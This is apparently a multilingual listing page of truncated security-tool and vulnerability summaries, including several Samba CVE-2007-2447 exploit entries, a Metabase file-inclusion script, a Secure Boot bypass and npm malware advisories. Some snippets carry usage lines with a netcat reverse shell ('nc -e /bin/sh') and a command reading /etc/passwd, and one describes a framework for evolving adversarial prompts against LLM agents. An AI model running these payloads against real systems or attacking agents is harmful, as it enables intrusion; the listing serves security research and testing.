CVE-2007-2447

ExploitDev Journey 6 | CVE-2007-2447 | Samba 3.0.20 3.0.25rc 'Username' map script' コマンド実行 オリジナルエクスプロイト: https://www.exploit-db.com/exploits/16320 エクスプロイト名: Samba username map script RCE CVE : 2007-2447 ラボ : Lame - HackTheBox 説明 Samba...

nOBEX

nOBEX はじめに nOBEX は、PBAP、MAP、HFP プロファイルをエミュレートすることで、車載インフォテインメントシステムおよびこれらのプロファイルを使用する類似デバイスをテストできます。nOBEX は、実機のスマートフォンからこれらのプロファイル用の本物の仮想ファイルシステムを複製するための PBAP および MAP クライアントを提供します。つまり、電話帳全体とすべてのテキストメッセージをダウンロードします。生の vcard、XML リスティング、および MAP BMSG 構造が保存され、ネガティブテスト用に自由に変更できます。nOBEX はその後、PBAP および MA...

CVE-2022-21894

baton drop CVE-2022-21894：Secure Boot 安全功能绕过漏洞 Windows 启动应用程序允许使用 truncatememory 设置从内存映射中移除包含序列化数据“持久”范围的内存块，从而导致 Secure Boot 绕过。 truncatememory BCD 元素会从内存映射中移除指定物理地址以上的所有内存。 此操作在每个启动应用程序初始化时执行，此时序列化的 Secure Boot 策略尚未从内存中读取。 因此，可以使用此类元素将序列化的 Secure Boot 策略从内存映射中移除。...

Mindmaps

Azure ペネトレーションテスト マインドマップ このマインドマップを使って、Azure のペネトレーションテストで Global Admin アクセスを手に入れよう 💥 あなたのテクニックを気軽にプルリクエストしてください！ ❤️ Alexis Danizan によって開発されました Synacktiv 🥷 によりオープンソースとして公開されました 📖 リソース このマインドマップの作成に使用した有用なリソース（数多くの素晴らしい作品）: PayloadsAllTheThings - Cloud - Azure ROADtools AzureHound AADInternals...

anteon

基于eBPF的Kubernetes监控与性能测试 Anteon 自动生成服务映射图，无需代码插桩或边车（Sidecar）。因此您可以轻松找到系统中的瓶颈。红线表示服务之间的高延迟。 在线演示 • 文档 • Discord 🐝 什么是 Anteon？ Anteon （原名Ddosify）是一个基于eBPF的Kubernetes监控 和性能测试 平台。 🔎 Kubernetes 监控 自动服务映射图创建： Anteon 自动创建集群的服务映射图 ，无需代码插桩或边车。因此您可以轻松找到瓶颈。 性能洞察： 帮助您发现服务响应缓慢或 SQL 查询慢等问题。 实时指标： 平台跟踪并显示集群实例的...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 实现 描述 针对 Samba 3.0.20 IP - 远程机器的 IP 地址。 PORT - （可选）SMB 运行的端口。 PAYLOAD - 要在远程机器上执行的有效载荷，例如反弹 shell。 示例： python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 参考资料 CVE-2007-2447：远程命令注入漏洞 Samba...

EUVD-2026-70672

UnoPim before 2.1.3 fails to include integration store, update, and key-generation routes in its ACL map, allowing any admin user to bypass permission checks. Attackers with minimal admin privileges can create OAuth API integrations, mint client credentials, and escalate permissions by exploiting...

T-MAP

T-MAP: 軌跡認識進化探索によるLLMエージェントのレッドチーミング T-MAP は、MCPサーバー上のLLMエージェントをレッドチーミングするための軌跡認識型進化探索フレームワークです。実行軌跡に基づいて敵対的プロンプトを反復的に生成・変異させ、多様なリスクカテゴリと攻撃スタイルにわたってエージェントの脆弱性領域をマッピングします。 🔧 セットアップ root@kitploit: pip install -r requirements.txt 要件: Python 3.11以上、攻撃者モデルとターゲットモデル用のAPIキー、1つ以上のMCPサーバーへのアクセス。 🚀 クイックスター...

FireShodanMap

FireShodanMap FireShodanMap은 Firebase와 Shodan을 통합한 실시간 지도입니다. Shodan을 사용하여 취약한 장치를 검색하고 분석을 위해 지도에 표시합니다. Firebase에 업데이트된 모든 데이터는 실시간입니다. 변경 사항 Firebase 데이터베이스를 채우기 위한 "fireshodan.py" 파일이 있으며, 다음을 변경해야 합니다: root@kitploit: + FILEWITHKEY.json Credentials 탭을 열고 Create credentials 를 클릭합니다. API 키 옵션을...

pefile

pefile pefile is a multi-platform Python module to parse and work with Portable Executable PE files. Most of the information contained in the PE file headers is accessible, as well as all the sections' details and data. The structures defined in the Windows header files will be accessible as...

joomla-cve-2018-6396

Joomla-CVE-2018-6396 Joomla! コンポーネント Google Map Landkarten = 4.2.3 - SQLインジェクション 日付: 03/03/2018 ベンダーホームページ: http://www.joomla-24.de/ ソフトウェアリンク: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/google-map-landkarten/ バージョン: = 4.2.3 テスト環境: KaLi Linux 2018.1 CVE:...

CVE-2007-2447_Samba_3.0.25rc3

CVE-2007-2447 'Username' map script' 命令执行 3.0.0 - 3.0.25rc3 3.0.20 - 3.0.25rc3 AMRIUNIX...

snapchat-map-scraper

Snapchat 스토리 다운로더 이 프로그램은 Snapchat의 공개 Snap Map에서 여러 위치를 검색하고 모든 스토리를 다운로드하여 나중에 조사 및 분류할 수 있도록 합니다. Snapchat이 지도의 어떤 '지점'에 어떤 동영상을 표시할지 결정하는 방식은 아직 많이 알려지지 않았으므로, 스크래퍼는 스크래핑 위치의 지리적 좌표를 수백 미터 내에서 무작위화하여 API가 더 관련성 높은 동영상을 제공하도록 유도할 수 있습니다. Linux에서 테스트되었지만, 비디오 뷰어가 설치되어 있다면 Windows/Mac에서도 작동할 것입니...

telegram-nearby-map

텔레그램 주변 지도 텔레그램 주변 지도는 OpenStreetMap과 공식 텔레그램 라이브러리를 사용하여 주변 사용자의 위치를 찾습니다. 참고: 텔레그램 API가 얼마 전 업데이트되어 주변 사용자 거리를 덜 정밀하게 만들어 정확한 위치 계산을 방지합니다. 따라서 텔레그램 주변 지도는 주변 사용자를 표시하지만 정확한 위치는 보여주지 않습니다. Ahmed의 블로그 포스트와 Hacker News 토론에서 영감을 받았습니다. 개발자: github.com/tejado. 작동 원리 25초마다 TDLib를 통해 텔레그램에서 모든 주변 사용자...

php-bypass-disable-functions

php-bypass-disable-functions Linux 上の PHP の disablefunctions セキュリティ制御をバイパスする方法を示すデモプロジェクトです。プロセスは特別な /proc/self/map ファイルを標準のファイル操作（open/seek/read/write）で検査し、さらには自身のメモリを書き込むこともできます。 テスト済み: PHP 7.3.5, x8664 Linux 参照: https://seclists.org/bugtraq/2019/May/52 使い方 root@kitploit:...

raven

Raven - Advanced Cyber Threat Map Simplified, customizable and responsive. It uses D3.js with TOPO JSON, has 247 countries, 100,000 cities, and can be used in an isolated environment without external lookups!. Structure Offline - Demo Firefox, Chrome or Safari Live - Regression 500 attacks at onc...

Samba-CVE-2007-2447-Exploit

Samba CVE-2007-2447 エクスプロイト これは、Sambaサーバにおける「ユーザー名」マップスクリプトコマンド実行として知られる脆弱性CVE-2007-2447を悪用するためのPythonスクリプトです。 説明 このエクスプロイトはSambaバージョン3.x～4.xを対象として開発されています。CVE-2007-2447は、攻撃者が悪意のあるユーザー名とパスワードを作成することで、脆弱なSambaサーバ上で任意のコマンドを実行することを可能にします。 使用方法 1. 攻撃用マシンでリスナーを設定します。例：Netcatを使用: nc -nvlp 1234 2...

CVE-2021-41277

CVE-2021-41277 Metabase GeoJSON マップのローカルファイルインクルード バージョン: x.40.0-x.40.4 使い方 : root@kitploit: chmod -x CVE-2021-41277.sh ./CVE-2021-41277.sh http://ip:port/ /etc/passwd 参照 https://vulners.com/cve/CVE-2021-41277...

Malicious code in neighbor-key-map (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1d780b9dd8236dfbb127579a5d58fac8423ea3992ce4900bf41abce906aae39 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-15889 Malicious code in neighbor-key-map (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1d780b9dd8236dfbb127579a5d58fac8423ea3992ce4900bf41abce906aae39 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...